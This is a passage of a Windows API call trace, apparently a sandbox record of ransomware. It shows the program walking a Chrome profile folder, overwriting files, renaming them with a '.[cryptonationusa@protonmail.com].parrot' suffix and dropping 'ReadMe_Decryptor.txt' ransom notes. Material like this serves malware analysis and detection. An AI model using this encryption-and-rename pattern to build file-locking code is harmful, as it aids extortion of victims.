ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xad877280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d3880 | out: hHeap=0x5b0000) returned 1 [0051.341] FindClose (in: hFindFile=0x600550 | out: hFindFile=0x600550) returned 1 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d37b8 | out: hHeap=0x5b0000) returned 1 [0051.341] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension State", cAlternateFileName="EXTENS~2")) returned 1 [0051.341] lstrcmpW (lpString1="Extension State", lpString2=".") returned 1 [0051.341] lstrcmpW (lpString1="Extension State", lpString2="..") returned 1 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x5d2b80 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xee) returned 0x5d37b8 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0051.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0051.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5cb2e0 [0051.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x210) returned 0x2240060 [0051.342] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0051.789] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0051.789] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82556720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.789] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0051.789] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0051.789] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82556720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82556720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1 [0051.789] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d588 [0051.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0051.789] lstrcmpW (lpString1="000003.log", lpString2="ReadMe_Decryptor.txt") returned -1 [0051.789] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0052.069] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x4ad [0052.069] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c5, nNumberOfBytesToLockHigh=0x0) returned 1 [0052.069] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0052.069] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0052.072] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.072] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4ad, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x4ad, lpOverlapped=0x0) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0052.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0052.072] GetLastError () returned 0x0 [0052.072] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0052.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0052.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0052.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0052.072] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d2b80 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d1908 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5d38b0 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x2240d58 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x5d4d18 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240d58 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d4fe8 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0052.073] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d5420 [0052.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4fe8 | out: hHeap=0x5b0000) returned 1 [0052.073] WriteFile (in: hFile=0x270, lpBuffer=0x5d5420*, nNumberOfBytesToWrite=0x5c8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x5d5420*, lpNumberOfBytesWritten=0x18e604*=0x5c8, lpOverlapped=0x0) returned 1 [0052.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5420 | out: hHeap=0x5b0000) returned 1 [0052.074] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0052.074] CloseHandle (hObject=0x270) returned 1 [0052.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d86b0 [0052.074] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x5d38b0 [0052.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d86b0 | out: hHeap=0x5b0000) returned 1 [0052.075] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\000003.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0052.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0052.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240bd0 | out: hHeap=0x5b0000) returned 1 [0052.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240278 | out: hHeap=0x5b0000) returned 1 [0052.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d1908 [0052.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d38b0 [0052.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0052.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0052.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0052.076] GetFileType (hFile=0x270) returned 0x1 [0052.076] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0052.086] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x128, nNumberOfBytesToLockHigh=0x0) returned 1 [0052.086] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 0 [0052.086] CloseHandle (hObject=0x270) returned 1 [0052.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1 [0052.086] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8c6f3fb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1 [0052.086] lstrcmpW (lpString1="LOG", lpString2="ReadMe_Decryptor.txt") returned -1 [0052.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0052.087] GetFileSize (in: hFile=0x270, lpFileSizeHigh=0x18e680 | out: lpFileSizeHigh=0x18e680*=0x0) returned 0x9a [0052.087] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b2, nNumberOfBytesToLockHigh=0x0) returned 1 [0052.087] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0052.087] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0052.088] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.088] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x9a, lpOverlapped=0x0) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0052.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0052.088] GetLastError () returned 0x0 [0052.088] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0052.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0052.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0052.088] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.088] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606950 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d588 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d588 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7b58 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7b58 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x5d2b80 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d1908 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2b80 | out: hHeap=0x5b0000) returned 1 [0052.089] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1b8) returned 0x2240400 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0052.089] WriteFile (in: hFile=0x270, lpBuffer=0x2240400*, nNumberOfBytesToWrite=0x1b8, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2240400*, lpNumberOfBytesWritten=0x18e604*=0x1b8, lpOverlapped=0x0) returned 1 [0052.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240400 | out: hHeap=0x5b0000) returned 1 [0052.089] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0052.089] CloseHandle (hObject=0x270) returned 1 [0052.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d1908 [0052.090] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x5d38b0 [0052.090] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1908 | out: hHeap=0x5b0000) returned 1 [0052.090] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0052.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d38b0 | out: hHeap=0x5b0000) returned 1 [0052.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240278 | out: hHeap=0x5b0000) returned 1 [0052.091] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d5f30 | out: hHeap=0x5b0000) returned 1 [0052.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x5d1908 [0052.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x5d38b0 [0052.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0052.091] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0052.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0052.092] GetFileType (hFile=0x270) returned 0x1 [0052.092] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0052.103] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x141, nNumberOfBytesToLockHigh=0x0) returned 1 [0052.103] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0052.103] ReadFile (in: hFile=0x270, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0052.103] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.104] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x29, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x29, lpOverlapped=0x0) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0052.104] GetLastError () returned 0x0 [0052.104] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0052.104] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0052.104] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 